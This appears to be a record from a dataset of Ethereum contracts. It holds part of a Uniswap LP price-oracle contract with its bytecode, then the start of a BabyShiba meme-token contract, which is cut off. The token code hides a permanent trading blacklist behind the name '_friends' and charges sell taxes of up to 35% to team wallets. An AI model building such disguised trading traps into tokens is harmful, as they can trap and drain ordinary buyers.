require((z = _x + _y) >= _x, "UNIV2LPOracle/add-overflow");
}
function sub(uint256 _x, uint256 _y) internal pure returns (uint256 z) {
require((z = _x - _y) <= _x, "UNIV2LPOracle/sub-underflow");
}
function mul(uint256 _x, uint256 _y) internal pure returns (uint256 z) {
require(_y == 0 || (z = _x * _y) / _y == _x, "UNIV2LPOracle/mul-overflow");
}
// FROM https://github.com/abdk-consulting/abdk-libraries-solidity/blob/16d7e1dd8628dfa2f88d5dadab731df7ada70bdd/ABDKMath64x64.sol#L687
function sqrt (uint256 _x) private pure returns (uint128) {
if (_x == 0) return 0;
else {
uint256 xx = _x;
uint256 r = 1;
if (xx >= 0x100000000000000000000000000000000) { xx >>= 128; r <<= 64; }
if (xx >= 0x10000000000000000) { xx >>= 64; r <<= 32; }
if (xx >= 0x100000000) { xx >>= 32; r <<= 16; }
if (xx >= 0x10000) { xx >>= 16; r <<= 8; }
if (xx >= 0x100) { xx >>= 8; r <<= 4; }
if (xx >= 0x10) { xx >>= 4; r <<= 2; }
if (xx >= 0x8) { r <<= 1; }
r = (r + _x / r) >> 1;
r = (r + _x / r) >> 1;
r = (r + _x / r) >> 1;
r = (r + _x / r) >> 1;
r = (r + _x / r) >> 1;
r = (r + _x / r) >> 1;
r = (r + _x / r) >> 1; // Seven iterations should be enough
uint256 r1 = _x / r;
return uint128 (r < r1 ? r : r1);
}
}
// --- Events ---
event Rely(address indexed usr);
event Deny(address indexed usr);
event Step(uint256 hop);
event Stop();
event Start();
event Value(uint128 curVal, uint128 nxtVal);
event Link(uint256 id, address orb);
event Kiss(address a);
event Diss(address a);
// --- Init ---
constructor (address _src, bytes32 _wat, address _orb0, address _orb1) public {
require(_src != address(0), "UNIV2LPOracle/invalid-src-address");
require(_orb0 != address(0) && _orb1 != address(0), "UNIV2LPOracle/invalid-oracle-address");
wards[msg.sender] = 1;
emit Rely(msg.sender);
src = _src;
wat = _wat;
uint256 dec0 = uint256(ERC20Like(UniswapV2PairLike(_src).token0()).decimals());
require(dec0 <= 18, "UNIV2LPOracle/token0-dec-gt-18");
UNIT_0 = 10 ** dec0;
uint256 dec1 = uint256(ERC20Like(UniswapV2PairLike(_src).token1()).decimals());
require(dec1 <= 18, "UNIV2LPOracle/token1-dec-gt-18");
UNIT_1 = 10 ** dec1;
orb0 = _orb0;
orb1 = _orb1;
}
function stop() external auth {
stopped = 1;
delete cur;
delete nxt;
zph = 0;
emit Stop();
}
function start() external auth {
stopped = 0;
emit Start();
}
function step(uint256 _hop) external auth {
require(_hop <= uint16(-1), "UNIV2LPOracle/invalid-hop");
hop = uint16(_hop);
emit Step(_hop);
}
function link(uint256 _id, address _orb) external auth {
require(_orb != address(0), "UNIV2LPOracle/no-contract-0");
if(_id == 0) {
orb0 = _orb;
} else if (_id == 1) {
orb1 = _orb;
} else {
revert("UNIV2LPOracle/invalid-id");
}
emit Link(_id, _orb);
}
// For consistency with other oracles.
function zzz() external view returns (uint256) {
if (zph == 0) return 0; // backwards compatibility
return sub(zph, hop);
}
function pass() external view returns (bool) {
return block.timestamp >= zph;
}
function seek() internal returns (uint128 quote) {
// Sync up reserves of uniswap liquidity pool
UniswapV2PairLike(src).sync();
// Get reserves of uniswap liquidity pool
(uint112 r0, uint112 r1,) = UniswapV2PairLike(src).getReserves();
require(r0 > 0 && r1 > 0, "UNIV2LPOracle/invalid-reserves");
// All Oracle prices are priced with 18 decimals against USD
uint256 p0 = OracleLike(orb0).read(); // Query token0 price from oracle (WAD)
require(p0 != 0, "UNIV2LPOracle/invalid-oracle-0-price");
uint256 p1 = OracleLike(orb1).read(); // Query token1 price from oracle (WAD)
require(p1 != 0, "UNIV2LPOracle/invalid-oracle-1-price");
// Get LP token supply
uint256 supply = ERC20Like(src).totalSupply();
// This calculation should be overflow-resistant even for tokens with very high or very
// low prices, as the dollar value of each reserve should lie in a fairly controlled range
// regardless of the token prices.
uint256 value0 = mul(p0, uint256(r0)) / UNIT_0; // WAD
uint256 value1 = mul(p1, uint256(r1)) / UNIT_1; // WAD
uint256 preq = mul(2 * WAD, sqrt(mul(value0, value1))) / supply; // Will revert if supply == 0
require(preq < 2 ** 128, "UNIV2LPOracle/quote-overflow");
quote = uint128(preq); // WAD
}
function poke() external {
// Ensure a single SLOAD while avoiding solc's excessive bitmasking bureaucracy.
uint256 hop_;
{
// Block-scoping these variables saves some gas.
uint256 stopped_;
uint256 zph_;
assembly {
let slot1 := sload(1)
stopped_ := and(slot1, 0xff )
hop_ := and(shr(8, slot1), 0xffff)
zph_ := shr(24, slot1)
}
// When stopped, values are set to zero and should remain such; thus, disallow updating in that case.
require(stopped_ == 0, "UNIV2LPOracle/is-stopped");
// Equivalent to requiring that pass() returns true.
// The logic is repeated instead of calling pass() to save gas
// (both by eliminating an internal call here, and allowing pass to be external).
require(block.timestamp >= zph_, "UNIV2LPOracle/not-passed");
}
uint128 val = seek();
require(val != 0, "UNIV2LPOracle/invalid-price");
Feed memory cur_ = nxt; // This memory value is used to save an SLOAD later.
cur = cur_;
nxt = Feed(val, 1);
// The below is equivalent to:
//
// zph = block.timestamp + hop
//
// but ensures no extra SLOADs are performed.
//
// Even if _hop = (2^16 - 1), the maximum possible value, add(timestamp(), _hop)
// will not overflow (even a 232 bit value) for a very long time.
//
// Also, we know stopped was zero, so there is no need to account for it explicitly here.
assembly {
sstore(
1,
add(
// zph value starts 24 bits in
shl(24, add(timestamp(), hop_)),
// hop value starts 8 bits in
shl(8, hop_)
)
)
}
// Equivalent to emitting Value(cur.val, nxt.val), but averts extra SLOADs.
emit Value(cur_.val, val);
// Safe to terminate immediately since no postfix modifiers are applied.
assembly {
stop()
}
}
function peek() external view toll returns (bytes32,bool) {
return (bytes32(uint256(cur.val)), cur.has == 1);
}
function peep() external view toll returns (bytes32,bool) {
return (bytes32(uint256(nxt.val)), nxt.has == 1);
}
function read() external view toll returns (bytes32) {
require(cur.has == 1, "UNIV2LPOracle/no-current-value");
return (bytes32(uint256(cur.val)));
}
function kiss(address _a) external auth {
require(_a != address(0), "UNIV2LPOracle/no-contract-0");
bud[_a] = 1;
emit Kiss(_a);
}
function kiss(address[] calldata _a) external auth {
for(uint256 i = 0; i < _a.length; i++) {
require(_a[i] != address(0), "UNIV2LPOracle/no-contract-0");
bud[_a[i]] = 1;
emit Kiss(_a[i]);
}
}
function diss(address _a) external auth {
bud[_a] = 0;
emit Diss(_a);
}
function diss(address[] calldata _a) external auth {
for(uint256 i = 0; i < _a.length; i++) {
bud[_a[i]] = 0;
emit Diss(_a[i]);
}
}
}
|
0x608060405234801561001057600080fd5b50600436106101735760003560e01c806365c4ce7a116100de578063a7a1ed7211610097578063be9a655511610071578063be9a655514610447578063bf353dbb1461044f578063dca44f6f14610475578063f29c29c41461047d57610173565b8063a7a1ed72146103e8578063a9c52a3914610404578063b0b8579b1461042857610173565b806365c4ce7a1461034857806365fae35e1461036e5780636c2552f91461039457806375f12b211461039c5780639c52a7f1146103ba578063a4dff0a2146103e057610173565b806346d4577d1161013057806346d4577d1461025c5780634ca29923146102cc5780634fce7a2a146102e657806357de26a41461030c57806359e02dd71461031457806365af79091461031c57610173565b806307da68f5146101785780630e5a6c701461018257806318178358146101a35780631b25b65f146101ab5780632e7dc6af1461021b5780633a1cde751461023f575b600080fd5b6101806104a3565b005b61018a61053e565b6040805192835290151560208301528051918290030190f35b6101806105ae565b610180600480360360208110156101c157600080fd5b8101906020810181356401000000008111156101dc57600080fd5b8201836020820111156101ee57600080fd5b8035906020019184602083028401116401000000008311171561021057600080fd5b50909250905061079f565b610223610924565b604080516001600160a01b039092168252519081900360200190f35b6101806004803603602081101561025557600080fd5b5035610948565b6101806004803603602081101561027257600080fd5b81019060208101813564010000000081111561028d57600080fd5b82018360208201111561029f57600080fd5b803590602001918460208302840111640100000000831117156102c157600080fd5b509092509050610a3e565b6102d4610b44565b60408051918252519081900360200190f35b6102d4600480360360208110156102fc57600080fd5b50356001600160a01b0316610b68565b6102d4610b7a565b61018a610c40565b6101806004803603604081101561033257600080fd5b50803590602001356001600160a01b0316610cb0565b6101806004803603602081101561035e57600080fd5b50356001600160a01b0316610e3f565b6101806004803603602081101561038457600080fd5b50356001600160a01b0316610ee4565b610223610f7b565b6103a4610f8a565b6040805160ff9092168252519081900360200190f35b610180600480360360208110156103d057600080fd5b50356001600160a01b0316610f93565b6102d4611029565b6103f0611076565b604080519115158252519081900360200190f35b61040c61108f565b604080516001600160e81b039092168252519081900360200190f35b6104306110a5565b6040805161ffff9092168252519081900360200190f35b6101806110b4565b6102d46004803603602081101561046557600080fd5b50356001600160a01b031661113b565b61022361114d565b6101806004803603602081101561049357600080fd5b50356001600160a01b031661115c565b336000908152602081905260409020546001146104f5576040805162461bcd60e51b815260206004820152601c602482015260008051602061192a833981519152604482015290519081900360640190fd5b6001805460006003819055600481905560ff19909116821762ffffff169091556040517fbedf0f4abfe86d4ffad593d9607fe70e83ea706033d44d24b3b6283cf3fc4f6b9190a1565b33600090815260026020526040812054819060011461058e5760405162461bcd60e51b815260040180806020018281038252602681526020018061194a6026913960400191505060405180910390fd5b50506004546001600160801b0380821691600160801b9004166001149091565b600154600881901c61ffff169060ff81169060181c8115610616576040805162461bcd60e51b815260206004820152601860248201527f554e4956324c504f7261636c652f69732d73746f707065640000000000000000604482015290519081900360640190fd5b8042101561066b576040805162461bcd60e51b815260206004820152601860248201527f554e4956324c504f7261636c652f6e6f742d7061737365640000000000000000604482015290519081900360640190fd5b5050600061067761125d565b90506001600160801b0381166106d4576040805162461bcd60e51b815260206004820152601b60248201527f554e4956324c504f7261636c652f696e76616c69642d70726963650000000000604482015290519081900360640190fd5b6106dc6118ee565b50604080518082018252600480546001600160801b03808216808552600160801b80840483166020808801829052600380546fffffffffffffffffffffffffffffffff199081169095178616928402929092179091558751808901895289851680825260019183018290529390951683178416909117909455600888901b42890160181b01909255835185519116815291820152825191927f80a5d0081d7e9a7bdb15ef207c6e0772f0f56d24317693206c0e47408f2d0b7392918290030190a1005b336000908152602081905260409020546001146107f1576040805162461bcd60e51b815260206004820152601c602482015260008051602061192a833981519152604482015290519081900360640190fd5b60005b8181101561091f57600083838381811061080a57fe5b905060200201356001600160a01b03166001600160a01b03161415610876576040805162461bcd60e51b815260206004820152601b60248201527f554e4956324c504f7261636c652f6e6f2d636f6e74726163742d300000000000604482015290519081900360640190fd5b60016002600085858581811061088857fe5b905060200201356001600160a01b03166001600160a01b03166001600160a01b03168152602001908152602001600020819055507f6ffc0fabf0709270e42087e84a3bfc36041d3b281266d04ae1962185092fb2448383838181106108e957fe5b905060200201356001600160a01b031660405180826001600160a01b0316815260200191505060405180910390a16001016107f4565b505050565b7f000000000000000000000000a2107fa5b38d9bbd2c461d6edf11b11a50f6b97481565b3360009081526020819052604090205460011461099a576040805162461bcd60e51b815260206004820152601c602482015260008051602061192a833981519152604482015290519081900360640190fd5b61ffff8111156109f1576040805162461bcd60e51b815260206004820152601960248201527f554e4956324c504f7261636c652f696e76616c69642d686f7000000000000000604482015290519081900360640190fd5b6001805462ffff00191661010061ffff8416021790556040805182815290517fd5cae49d972f01d170fb2d3409c5f318698639863c0403e59e4af06e0ce92817916020908290030190a150565b33600090815260208190526040902054600114610a90576040805162461bcd60e51b815260206004820152601c602482015260008051602061192a833981519152604482015290519081900360640190fd5b60005b8181101561091f57600060026000858585818110610aad57fe5b905060200201356001600160a01b03166001600160a01b03166001600160a01b03168152602001908152602001600020819055507f12fdafd291eb287a54e3416070923d22aa5072f5ee04c4fb8361615e7508a37c838383818110610b0e57fe5b905060200201356001600160a01b031660405180826001600160a01b0316815260200191505060405180910390a1600101610a93565b7f554e4956324c494e4b455448000000000000000000000000000000000000000081565b60026020526000908152604090205481565b33600090815260026020526040812054600114610bc85760405162461bcd60e51b815260040180806020018281038252602681526020018061194a6026913960400191505060405180910390fd5b600354600160801b90046001600160801b0316600114610c2f576040805162461bcd60e51b815260206004820152601e60248201527f554e4956324c504f7261636c652f6e6f2d63757272656e742d76616c75650000604482015290519081900360640190fd5b506003546001600160801b03165b90565b336000908152600260205260408120548190600114610c905760405162461bcd60e51b815260040180806020018281038252602681526020018061194a6026913960400191505060405180910390fd5b50506003546001600160801b0380821691600160801b9004166001149091565b33600090815260208190526040902054600114610d02576040805162461bcd60e51b815260206004820152601c602482015260008051602061192a833981519152604482015290519081900360640190fd5b6001600160a01b038116610d5d576040805162461bcd60e51b815260206004820152601b60248201527f554e4956324c504f7261636c652f6e6f2d636f6e74726163742d300000000000604482015290519081900360640190fd5b81610d8257600580546001600160a01b0319166001600160a01b038316179055610df8565b8160011415610dab57600680546001600160a01b0319166001600160a01b038316179055610df8565b6040805162461bcd60e51b815260206004820152601860248201527f554e4956324c504f7261636c652f696e76616c69642d69640000000000000000604482015290519081900360640190fd5b604080518381526001600160a01b038316602082015281517f57e1d18531e0ed6c4f60bf6039e5719aa115e43e43847525125856433a69f7a7929181900390910190a15050565b33600090815260208190526040902054600114610e91576040805162461bcd60e51b815260206004820152601c602482015260008051602061192a833981519152604482015290519081900360640190fd5b6001600160a01b038116600081815260026020908152604080832092909255815192835290517f12fdafd291eb287a54e3416070923d22aa5072f5ee04c4fb8361615e7508a37c9281900390910190a150565b33600090815260208190526040902054600114610f36576040805162461bcd60e51b815260206004820152601c602482015260008051602061192a833981519152604482015290519081900360640190fd5b6001600160a01b03811660008181526020819052604080822060019055517fdd0e34038ac38b2a1ce960229778ac48a8719bc900b6c4f8d0475c6e8b385a609190a250565b6005546001600160a01b031681565b60015460ff1681565b33600090815260208190526040902054600114610fe5576040805162461bcd60e51b815260206004820152601c602482015260008051602061192a833981519152604482015290519081900360640190fd5b6001600160a01b038116600081815260208190526040808220829055517f184450df2e323acec0ed3b5c7531b81f9b4cdef7914dfd4c0a4317416bb5251b9190a250565b600154600090630100000090046001600160e81b031661104b57506000610c3d565b60015461107190630100000081046001600160e81b031690610100900461ffff166116dc565b905090565b600154630100000090046001600160e81b031642101590565b600154630100000090046001600160e81b031681565b600154610100900461ffff1681565b33600090815260208190526040902054600114611106576040805162461bcd60e51b815260206004820152601c602482015260008051602061192a833981519152604482015290519081900360640190fd5b6001805460ff191690556040517f1b55ba3aa851a46be3b365aee5b5c140edd620d578922f3e8466d2cbd96f954b90600090a1565b60006020819052908152604090205481565b6006546001600160a01b031681565b336000908152602081905260409020546001146111ae576040805162461bcd60e51b815260206004820152601c602482015260008051602061192a833981519152604482015290519081900360640190fd5b6001600160a01b038116611209576040805162461bcd60e51b815260206004820152601b60248201527f554e4956324c504f7261636c652f6e6f2d636f6e74726163742d300000000000604482015290519081900360640190fd5b6001600160a01b03811660008181526002602090815260409182902060019055815192835290517f6ffc0fabf0709270e42087e84a3bfc36041d3b281266d04ae1962185092fb2449281900390910190a150565b60007f000000000000000000000000a2107fa5b38d9bbd2c461d6edf11b11a50f6b9746001600160a01b031663fff6cae96040518163ffffffff1660e01b8152600401600060405180830381600087803b1580156112ba57600080fd5b505af11580156112ce573d6000803e3d6000fd5b505050506000807f000000000000000000000000a2107fa5b38d9bbd2c461d6edf11b11a50f6b9746001600160a01b0316630902f1ac6040518163ffffffff1660e01b815260040160606040518083038186803b15801561132e57600080fd5b505afa158015611342573d6000803e3d6000fd5b505050506040513d606081101561135857600080fd5b50805160209091015190925090506001600160701b0382161580159061138757506000816001600160701b0316115b6113d8576040805162461bcd60e51b815260206004820152601e60248201527f554e4956324c504f7261636c652f696e76616c69642d72657365727665730000604482015290519081900360640190fd5b600554604080516315f789a960e21b815290516000926001600160a01b0316916357de26a4916004808301926020929190829003018186803b15801561141d57600080fd5b505afa158015611431573d6000803e3d6000fd5b505050506040513d602081101561144757600080fd5b50519050806114875760405162461bcd60e51b81526004018080602001828103825260248152602001806119066024913960400191505060405180910390fd5b600654604080516315f789a960e21b815290516000926001600160a01b0316916357de26a4916004808301926020929190829003018186803b1580156114cc57600080fd5b505afa1580156114e0573d6000803e3d6000fd5b505050506040513d60208110156114f657600080fd5b50519050806115365760405162461bcd60e51b81526004018080602001828103825260248152602001806119706024913960400191505060405180910390fd5b60007f000000000000000000000000a2107fa5b38d9bbd2c461d6edf11b11a50f6b9746001600160a01b03166318160ddd6040518163ffffffff1660e01b815260040160206040518083038186803b15801561159157600080fd5b505afa1580156115a5573d6000803e3d6000fd5b505050506040513d60208110156115bb57600080fd5b5051905060007f0000000000000000000000000000000000000000000000000de0b6b3a76400006115f5856001600160701b03891661173a565b816115fc57fe5b04905060007f0000000000000000000000000000000000000000000000000de0b6b3a764000061163585886001600160701b031661173a565b8161163c57fe5b04905060008361166e671bc16d674ec8000061166061165b878761173a565b6117a6565b6001600160801b031661173a565b8161167557fe5b049050600160801b81106116d0576040805162461bcd60e51b815260206004820152601c60248201527f554e4956324c504f7261636c652f71756f74652d6f766572666c6f7700000000604482015290519081900360640190fd5b98975050505050505050565b80820382811115611734576040805162461bcd60e51b815260206004820152601b60248201527f554e4956324c504f7261636c652f7375622d756e646572666c6f770000000000604482015290519081900360640190fd5b92915050565b60008115806117555750508082028282828161175257fe5b04145b611734576040805162461bcd60e51b815260206004820152601a60248201527f554e4956324c504f7261636c652f6d756c2d6f766572666c6f77000000000000604482015290519081900360640190fd5b6000816117b5575060006118e9565b816001600160801b82106117ce5760809190911c9060401b5b6801000000000000000082106117e95760409190911c9060201b5b64010000000082106118005760209190911c9060101b5b6201000082106118155760109190911c9060081b5b61010082106118295760089190911c9060041b5b6010821061183c5760049190911c9060021b5b600882106118485760011b5b600181858161185357fe5b048201901c9050600181858161186557fe5b048201901c9050600181858161187757fe5b048201901c9050600181858161188957fe5b048201901c9050600181858161189b57fe5b048201901c905060018185816118ad57fe5b048201901c905060018185816118bf57fe5b048201901c905060008185816118d157fe5b0490508082106118e157806118e3565b815b93505050505b919050565b60408051808201909152600080825260208201529056fe554e4956324c504f7261636c652f696e76616c69642d6f7261636c652d302d7072696365554e4956324c504f7261636c652f6e6f742d617574686f72697a656400000000554e4956324c504f7261636c652f636f6e74726163742d6e6f742d77686974656c6973746564554e4956324c504f7261636c652f696e76616c69642d6f7261636c652d312d7072696365a26469706673582212206c71ea5b4a3564b81590e23af73a03746aee6212e2106a64806d6047deb00c0b64736f6c634300060c0033
|
{"success": true, "error": null, "results": {}}
| 6,073 |
0x1c2a98d61e6b1205c4b13f5bbd6105d75671eba2
|
/**
*Submitted for verification at Etherscan.io on 2021-08-06
*/
/**
*
BabyShiba
telegram : https://t.me/Babyshibagroup
twitter: https://twitter.com/BabyShiba12
All crypto babies will become a BabyShiba in here.
Let's enjoy our launch!
* SPDX-License-Identifier: UNLICENSED
*
*/
pragma solidity ^0.8.4;
abstract contract Context {
function _msgSender() internal view virtual returns (address) {
return msg.sender;
}
}
interface IERC20 {
function totalSupply() external view returns (uint256);
function balanceOf(address account) external view returns (uint256);
function transfer(address recipient, uint256 amount) external returns (bool);
function allowance(address owner, address spender) external view returns (uint256);
function approve(address spender, uint256 amount) external returns (bool);
function transferFrom(address sender, address recipient, uint256 amount) external returns (bool);
event Transfer(address indexed from, address indexed to, uint256 value);
event Approval(address indexed owner, address indexed spender, uint256 value);
}
library SafeMath {
function add(uint256 a, uint256 b) internal pure returns (uint256) {
uint256 c = a + b;
require(c >= a, "SafeMath: addition overflow");
return c;
}
function sub(uint256 a, uint256 b) internal pure returns (uint256) {
return sub(a, b, "SafeMath: subtraction overflow");
}
function sub(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
require(b <= a, errorMessage);
uint256 c = a - b;
return c;
}
function mul(uint256 a, uint256 b) internal pure returns (uint256) {
if(a == 0) {
return 0;
}
uint256 c = a * b;
require(c / a == b, "SafeMath: multiplication overflow");
return c;
}
function div(uint256 a, uint256 b) internal pure returns (uint256) {
return div(a, b, "SafeMath: division by zero");
}
function div(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
require(b > 0, errorMessage);
uint256 c = a / b;
return c;
}
function mod(uint256 a, uint256 b) internal pure returns (uint256) {
return mod(a, b, "SafeMath: modulo by zero");
}
function mod(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
require(b != 0, errorMessage);
return a % b;
}
}
contract Ownable is Context {
address private _owner;
address private _previousOwner;
event OwnershipTransferred(address indexed previousOwner, address indexed newOwner);
constructor () {
address msgSender = _msgSender();
_owner = msgSender;
emit OwnershipTransferred(address(0), msgSender);
}
function owner() public view returns (address) {
return _owner;
}
modifier onlyOwner() {
require(_owner == _msgSender(), "Ownable: caller is not the owner");
_;
}
function renounceOwnership() public virtual onlyOwner {
emit OwnershipTransferred(_owner, address(0));
_owner = address(0);
}
}
interface IUniswapV2Factory {
function createPair(address tokenA, address tokenB) external returns (address pair);
}
interface IUniswapV2Router02 {
function swapExactTokensForETHSupportingFeeOnTransferTokens(
uint amountIn,
uint amountOutMin,
address[] calldata path,
address to,
uint deadline
) external;
function factory() external pure returns (address);
function WETH() external pure returns (address);
function addLiquidityETH(
address token,
uint amountTokenDesired,
uint amountTokenMin,
uint amountETHMin,
address to,
uint deadline
) external payable returns (uint amountToken, uint amountETH, uint liquidity);
}
contract BBS is Context, IERC20, Ownable {
using SafeMath for uint256;
mapping (address => uint256) private _rOwned;
mapping (address => uint256) private _tOwned;
mapping (address => mapping (address => uint256)) private _allowances;
mapping (address => bool) private _isExcludedFromFee;
mapping (address => bool) private _friends;
mapping (address => User) private trader;
uint256 private constant MAX = ~uint256(0);
uint256 private constant _tTotal = 1e12 * 10**9;
uint256 private _rTotal = (MAX - (MAX % _tTotal));
uint256 private _tFeeTotal;
string private constant _name = unicode"BabyShiba";
string private constant _symbol = unicode" BBS ";
uint8 private constant _decimals = 9;
uint256 private _taxFee = 5;
uint256 private _teamFee = 5;
uint256 private _feeRate = 5;
uint256 private _launchTime;
uint256 private _previousTaxFee = _taxFee;
uint256 private _previousteamFee = _teamFee;
uint256 private _maxBuyAmount;
address payable private _FeeAddress;
address payable private _marketingWalletAddress;
address payable private _marketingFixedWalletAddress;
IUniswapV2Router02 private uniswapV2Router;
address private uniswapV2Pair;
bool private tradingOpen;
bool private _cooldownEnabled = true;
bool private inSwap = false;
uint256 private launchBlock = 0;
uint256 private buyLimitEnd;
struct User {
uint256 buyCD;
uint256 sellCD;
uint256 lastBuy;
uint256 buynumber;
bool exists;
}
event MaxBuyAmountUpdated(uint _maxBuyAmount);
event CooldownEnabledUpdated(bool _cooldown);
event FeeMultiplierUpdated(uint _multiplier);
event FeeRateUpdated(uint _rate);
modifier lockTheSwap {
inSwap = true;
_;
inSwap = false;
}
constructor (address payable FeeAddress, address payable marketingWalletAddress, address payable marketingFixedWalletAddress) {
_FeeAddress = FeeAddress;
_marketingWalletAddress = marketingWalletAddress;
_marketingFixedWalletAddress = marketingFixedWalletAddress;
_rOwned[_msgSender()] = _rTotal;
_isExcludedFromFee[owner()] = true;
_isExcludedFromFee[address(this)] = true;
_isExcludedFromFee[FeeAddress] = true;
_isExcludedFromFee[marketingWalletAddress] = true;
_isExcludedFromFee[marketingFixedWalletAddress] = true;
emit Transfer(address(0), _msgSender(), _tTotal);
}
function name() public pure returns (string memory) {
return _name;
}
function symbol() public pure returns (string memory) {
return _symbol;
}
function decimals() public pure returns (uint8) {
return _decimals;
}
function totalSupply() public pure override returns (uint256) {
return _tTotal;
}
function balanceOf(address account) public view override returns (uint256) {
return tokenFromReflection(_rOwned[account]);
}
function transfer(address recipient, uint256 amount) public override returns (bool) {
_transfer(_msgSender(), recipient, amount);
return true;
}
function allowance(address owner, address spender) public view override returns (uint256) {
return _allowances[owner][spender];
}
function approve(address spender, uint256 amount) public override returns (bool) {
_approve(_msgSender(), spender, amount);
return true;
}
function transferFrom(address sender, address recipient, uint256 amount) public override returns (bool) {
_transfer(sender, recipient, amount);
_approve(sender, _msgSender(), _allowances[sender][_msgSender()].sub(amount, "ERC20: transfer amount exceeds allowance"));
return true;
}
function tokenFromReflection(uint256 rAmount) private view returns(uint256) {
require(rAmount <= _rTotal, "Amount must be less than total reflections");
uint256 currentRate = _getRate();
return rAmount.div(currentRate);
}
function removeAllFee() private {
if(_taxFee == 0 && _teamFee == 0) return;
_previousTaxFee = _taxFee;
_previousteamFee = _teamFee;
_taxFee = 0;
_teamFee = 0;
}
function restoreAllFee() private {
_taxFee = _previousTaxFee;
_teamFee = _previousteamFee;
}
function _approve(address owner, address spender, uint256 amount) private {
require(owner != address(0), "ERC20: approve from the zero address");
require(spender != address(0), "ERC20: approve to the zero address");
_allowances[owner][spender] = amount;
emit Approval(owner, spender, amount);
}
function _transfer(address from, address to, uint256 amount) private {
require(from != address(0), "ERC20: transfer from the zero address");
require(to != address(0), "ERC20: transfer to the zero address");
require(amount > 0, "Transfer amount must be greater than zero");
if(from != owner() && to != owner()) {
require(!_friends[from] && !_friends[to]);
if (block.number <= launchBlock + 1 && amount == _maxBuyAmount) {
if (from != uniswapV2Pair && from != address(uniswapV2Router)) {
_friends[from] = true;
} else if (to != uniswapV2Pair && to != address(uniswapV2Router)) {
_friends[to] = true;
}
}
if(!trader[msg.sender].exists) {
trader[msg.sender] = User(0,0,0,0,true);
}
// buy
if(from == uniswapV2Pair && to != address(uniswapV2Router) && !_isExcludedFromFee[to]) {
require(tradingOpen, "Trading not yet enabled.");
if(block.timestamp > trader[to].lastBuy + (30 minutes)) {
trader[to].buynumber = 0;
}
if (trader[to].buynumber == 0) {
trader[to].buynumber++;
_taxFee = 5;
_teamFee = 5;
} else if (trader[to].buynumber == 1) {
trader[to].buynumber++;
_taxFee = 4;
_teamFee = 4;
} else if (trader[to].buynumber == 2) {
trader[to].buynumber++;
_taxFee = 3;
_teamFee = 3;
} else if (trader[to].buynumber == 3) {
trader[to].buynumber++;
_taxFee = 2;
_teamFee = 2;
} else {
//fallback
_taxFee = 5;
_teamFee = 5;
}
trader[to].lastBuy = block.timestamp;
if(_cooldownEnabled) {
if(buyLimitEnd > block.timestamp) {
require(amount <= _maxBuyAmount);
require(trader[to].buyCD < block.timestamp, "Your buy cooldown has not expired.");
trader[to].buyCD = block.timestamp + (45 seconds);
}
trader[to].sellCD = block.timestamp + (15 seconds);
}
}
uint256 contractTokenBalance = balanceOf(address(this));
// sell
if(!inSwap && from != uniswapV2Pair && tradingOpen) {
if(_cooldownEnabled) {
require(trader[from].sellCD < block.timestamp, "Your sell cooldown has not expired.");
}
uint256 total = 35;
if(block.timestamp > trader[from].lastBuy + (3 hours)) {
total = 10;
} else if (block.timestamp > trader[from].lastBuy + (1 hours)) {
total = 15;
} else if (block.timestamp > trader[from].lastBuy + (30 minutes)) {
total = 20;
} else if (block.timestamp > trader[from].lastBuy + (5 minutes)) {
total = 25;
} else {
//fallback
total = 35;
}
_taxFee = (total.mul(4)).div(10);
_teamFee = (total.mul(6)).div(10);
if(contractTokenBalance > 0) {
if(contractTokenBalance > balanceOf(uniswapV2Pair).mul(_feeRate).div(100)) {
contractTokenBalance = balanceOf(uniswapV2Pair).mul(_feeRate).div(100);
}
swapTokensForEth(contractTokenBalance);
}
uint256 contractETHBalance = address(this).balance;
if(contractETHBalance > 0) {
sendETHToFee(address(this).balance);
}
}
}
bool takeFee = true;
if(_isExcludedFromFee[from] || _isExcludedFromFee[to]){
takeFee = false;
}
_tokenTransfer(from,to,amount,takeFee);
}
function swapTokensForEth(uint256 tokenAmount) private lockTheSwap {
address[] memory path = new address[](2);
path[0] = address(this);
path[1] = uniswapV2Router.WETH();
_approve(address(this), address(uniswapV2Router), tokenAmount);
uniswapV2Router.swapExactTokensForETHSupportingFeeOnTransferTokens(
tokenAmount,
0,
path,
address(this),
block.timestamp
);
}
function sendETHToFee(uint256 amount) private {
_FeeAddress.transfer(amount.div(2));
_marketingWalletAddress.transfer(amount.div(4));
_marketingFixedWalletAddress.transfer(amount.div(4));
}
function _tokenTransfer(address sender, address recipient, uint256 amount, bool takeFee) private {
if(!takeFee)
removeAllFee();
_transferStandard(sender, recipient, amount);
if(!takeFee)
restoreAllFee();
}
function _transferStandard(address sender, address recipient, uint256 tAmount) private {
(uint256 rAmount, uint256 rTransferAmount, uint256 rFee, uint256 tTransferAmount, uint256 tFee, uint256 tTeam) = _getValues(tAmount);
_rOwned[sender] = _rOwned[sender].sub(rAmount);
_rOwned[recipient] = _rOwned[recipient].add(rTransferAmount);
_takeTeam(tTeam);
_reflectFee(rFee, tFee);
emit Transfer(sender, recipient, tTransferAmount);
}
function _getValues(uint256 tAmount) private view returns (uint256, uint256, uint256, uint256, uint256, uint256) {
(uint256 tTransferAmount, uint256 tFee, uint256 tTeam) = _getTValues(tAmount, _taxFee, _teamFee);
uint256 currentRate = _getRate();
(uint256 rAmount, uint256 rTransferAmount, uint256 rFee) = _getRValues(tAmount, tFee, tTeam, currentRate);
return (rAmount, rTransferAmount, rFee, tTransferAmount, tFee, tTeam);
}
function _getTValues(uint256 tAmount, uint256 taxFee, uint256 TeamFee) private pure returns (uint256, uint256, uint256) {
uint256 tFee = tAmount.mul(taxFee).div(100);
uint256 tTeam = tAmount.mul(TeamFee).div(100);
uint256 tTransferAmount = tAmount.sub(tFee).sub(tTeam);
return (tTransferAmount, tFee, tTeam);
}
function _getRate() private view returns(uint256) {
(uint256 rSupply, uint256 tSupply) = _getCurrentSupply();
return rSupply.div(tSupply);
}
function _getCurrentSupply() private view returns(uint256, uint256) {
uint256 rSupply = _rTotal;
uint256 tSupply = _tTotal;
if(rSupply < _rTotal.div(_tTotal)) return (_rTotal, _tTotal);
return (rSupply, tSupply);
}
function _getRValues(uint256 tAmount, uint256 tFee, uint256 tTeam, uint256 currentRate) private pure returns (uint256, uint256, uint256) {
uint256 rAmount = tAmount.mul(currentRate);
uint256 rFee = tFee.mul(currentRate);
uint256 rTeam = tTeam.mul(currentRate);
